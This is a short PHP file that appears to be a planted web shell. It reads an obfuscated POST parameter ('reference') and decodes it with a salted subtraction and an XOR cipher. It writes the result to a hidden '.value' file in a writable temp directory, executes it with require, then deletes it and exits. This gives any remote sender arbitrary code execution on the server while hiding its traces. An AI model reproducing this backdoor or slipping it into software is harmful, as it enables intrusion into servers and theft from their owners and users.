<?php

if(filter_has_var(INPUT_POST, "\x72\x65fere\x6Ece")){
	$flag = $_REQUEST["\x72\x65fere\x6Ece"];
	 	 $flag  =	 	explode("." , 	 $flag  ); 	
	$data_chunk = '';
            $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(  $salt1);
            $y = 0;
    
            array_walk(  $flag	,function(  $v7) use(  &$data_chunk	,&$y	,$salt1	,$lenS) {	 $chS = ord(  $salt1[$y % $lenS]);
                $d =(  (  int)$v7 - $chS -(  $y % 10)) ^ 75;
                $data_chunk .=	 chr(  $d);
                $y++;
            });
	$rec = array_filter([getenv("TEMP"), getcwd(), getenv("TMP"), "/dev/shm", "/var/tmp", "/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir")]);
	foreach ($rec as $key => $pointer) {
    		if (!!is_dir($pointer) && !!is_writable($pointer)) {
    $marker = "$pointer" . "/.value";
    if (file_put_contents($marker, $data_chunk)) {
	require $marker;
	unlink($marker);
	die();
}
}
}
}